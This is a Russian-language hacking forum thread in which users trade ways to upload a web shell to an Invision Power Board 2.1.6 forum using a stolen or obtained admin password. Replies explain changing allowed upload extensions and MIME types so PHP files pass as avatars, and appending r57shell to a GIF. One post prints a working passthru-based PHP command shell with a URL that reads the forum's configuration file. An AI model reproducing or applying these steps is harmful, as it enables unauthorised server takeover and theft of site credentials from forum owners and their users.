Форумы Cпособы залить шел в Invision через админку?

Discussion in 'Уязвимости CMS/форумов' started by nix, 5 Jun 2006.

  1. nix

    nix Banned

    Joined:
    7 May 2006
    Messages:
    33
    Likes Received:
    3
    Reputations:
    -5
    Как залить шел имея пароль админа, от ИПБ 2.1.6, в смаилы неполчается там пропачено, какой еще способ... ?
     
  2. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
  3. nix

    nix Banned

    Joined:
    7 May 2006
    Messages:
    33
    Likes Received:
    3
    Reputations:
    -5
    Странно вроде все сделал как сказанно http://forum.antichat.ru/thread11551.html в админке проверил чтобы можно было заливать аватары но почему то незаливаетя пишут обратись к админу... проверял на .гиф обычной картинки тож самое есть какие еще способы ?
     
  4. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    936
    Likes Received:
    396
    Reputations:
    261
    Я стал на заливку аватар расширение .php. нормально залилось :)
     
  5. Brun

    Brun Elder - Старейшина

    Joined:
    21 Mar 2006
    Messages:
    95
    Likes Received:
    57
    Reputations:
    16
    Такой случай как у меня. Нельзя аватар добавить. Картинку залить. Вообще нечего нельзя. Админ поставил пармишн, что не удалять, не редактировати, не создавать нельзя! Как тут залить шел сам не знаю. Даже конфиг прочитать не смог. Хоть доступ к базе есть.
     
  6. nix

    nix Banned

    Joined:
    7 May 2006
    Messages:
    33
    Likes Received:
    3
    Reputations:
    -5
    Во у меня примерно тож самое! че в этом случае делать ?
     
  7. /W0W3/s

    /W0W3/s HarD CorE

    Joined:
    18 Jun 2005
    Messages:
    646
    Likes Received:
    212
    Reputations:
    85
    nix, Если у тя есть доступ к админке все дела -)) В настройках форума есть разрешенные типы файлов для заливки + мак. лимит размера файлов. Измени подгони на смой шелл и все
     
  8. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    А другие тута о чём говорят, неполучается у человека, у меня тожа неполучалось но Мишка как всегда помог )))
     
  9. nix

    nix Banned

    Joined:
    7 May 2006
    Messages:
    33
    Likes Received:
    3
    Reputations:
    -5
    Яж говорю что нельзя заливать аваторы и т.д и настройках делаю ниче не получается!
     
  10. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    можно сделать так:
    открываешь любую гифку в блокноте, далее открываешь наш всеми любимый r57shell от оманды r57, далее копируешь всё содержимое r57shell и вставляешь после всех символов в картинке(в блокноте). после сохраняешь под r57shella.php, всё. если будут вопросы сюда 4143389 или 298667422
     
  11. JFKenedi

    JFKenedi New Member

    Joined:
    10 Jun 2006
    Messages:
    16
    Likes Received:
    4
    Reputations:
    0
    Та же проблема.

    Подобная проблема и у меня, Зливка смайлов запрещена, вообще запрещена.

    Сделал расширение php разрешенным для Заливки и для использования в качестве аватара.
    Через Mysql тоже не катит ! Аутфайл запрещен.

    Что можно сделатЬ, шел залить очень нужно.

    пароль От Админки ни чему не подходит...
     
  12. JFKenedi

    JFKenedi New Member

    Joined:
    10 Jun 2006
    Messages:
    16
    Likes Received:
    4
    Reputations:
    0
    Эврика !!

    Нашел вот тему по этому поводу, Кстати на Античате.

    Короче так.
    Надо лишь поискать по форуму Античата =)

    http://forum.antichat.ru/thread11551.html

    Написать шелл...
    Переименовать в cmd.phtml
    На ломаемом форуме расзрешить загрузку файлов с расширением .phtml + разрешить использовать их как Аватары... + добавить строку application/octet-stream
    в тип файла.
    Проще даже отредактировать существующий тип.
    Code:
    Например:
    
    .gif  
    image/gif
    Использовать ак аватар +
    
    Делаем:
    
    .php
    application/octet-stream
    Использовать ак аватар +
    
    Загрузить как аватар любому пользователю файл с вашим шеллом
    cmd.phtml
    Содержания примерно:
    Code:
    <?
    echo "<pre>";
    passthru("$cmd");
    echo "</pre>";
    ?>
    и использовать:
    __http://ww.site.ru/forums/uploads/avatar.phtml?cmd=cat ../conf_global.php
     
    #12 JFKenedi, 15 Jun 2006
    Last edited: 15 Jun 2006
  13. cc.melfox

    cc.melfox New Member

    Joined:
    14 Jun 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    проблема с залитым шелом... залил по выше описаному способу шел всё вроде норм но при запуске шела он не запускается, а начинает грузится мне на комп :( расширение файла phtml...
     
  14. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    просто не сообщил серверу что это пхп скрипт.
    поиск рулит.
     
  15. cc.melfox

    cc.melfox New Member

    Joined:
    14 Jun 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    ээ а как сообщить? :)
     
  16. banall

    banall New Member

    Joined:
    25 Jun 2006
    Messages:
    55
    Likes Received:
    3
    Reputations:
    0
    Вот именно как?
    Шелл заливается, но не работает, а выдает только исходник.